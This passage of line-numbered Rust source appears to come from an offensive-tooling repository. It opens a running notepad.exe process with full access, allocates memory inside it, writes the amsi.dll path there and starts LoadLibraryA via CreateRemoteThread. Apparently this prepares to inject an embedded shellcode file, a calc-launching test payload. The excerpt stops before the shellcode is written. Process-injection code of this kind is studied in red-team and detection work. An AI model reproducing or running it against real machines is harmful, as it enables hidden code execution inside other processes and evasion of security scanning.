()
| 19 | |
| 20 | #[cfg(target_os = "windows")] |
| 21 | fn main() { |
| 22 | let shellcode = include_bytes!("../../w64-exec-calc-shellcode-func.bin"); |
| 23 | let shellcode_size = shellcode.len(); |
| 24 | |
| 25 | let dll = "C:\\windows\\system32\\amsi.dll\0"; |
| 26 | |
| 27 | let mut system = System::new(); |
| 28 | system.refresh_processes(); |
| 29 | |
| 30 | let pid = system |
| 31 | .processes_by_name("notepad.exe") |
| 32 | .next() |
| 33 | .expect("[-]no process!") |
| 34 | .pid() |
| 35 | .as_u32(); |
| 36 | |
| 37 | unsafe { |
| 38 | let handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); |
| 39 | if handle == 0 { |
| 40 | panic!("[-]OpenProcess failed: {}!", GetLastError()); |
| 41 | } |
| 42 | |
| 43 | let buffer = VirtualAllocEx( |
| 44 | handle, |
| 45 | null(), |
| 46 | dll.len(), |
| 47 | MEM_COMMIT | MEM_RESERVE, |
| 48 | PAGE_READWRITE, |
| 49 | ); |
| 50 | if buffer.is_null() { |
| 51 | panic!("[-]VirtualAllocEx failed: {}!", GetLastError()); |
| 52 | } |
| 53 | |
| 54 | let res = WriteProcessMemory(handle, buffer, dll.as_ptr().cast(), dll.len(), null_mut()); |
| 55 | if res == FALSE { |
| 56 | panic!("[-]WriteProcessMemory failed: {}!", GetLastError()); |
| 57 | } |
| 58 | |
| 59 | let thread_routine = GetProcAddress( |
| 60 | GetModuleHandleA(b"Kernel32\0".as_ptr()), |
| 61 | b"LoadLibraryA\0".as_ptr(), |
| 62 | ); |
| 63 | if thread_routine.is_none() { |
| 64 | panic!("[-]GetProcAddress failed: {}!", GetLastError()); |
| 65 | } |
| 66 | let dll_thread = CreateRemoteThread( |
| 67 | handle, |
| 68 | null(), |
| 69 | 0, |
| 70 | transmute(thread_routine), |
| 71 | buffer, |
| 72 | 0, |
| 73 | null_mut(), |
| 74 | ); |
| 75 | if dll_thread == 0 { |
| 76 | panic!("[-]CreateRemoteThread failed: {}!", GetLastError()); |
| 77 | } |
| 78 |
nothing calls this directly
no outgoing calls
no test coverage detected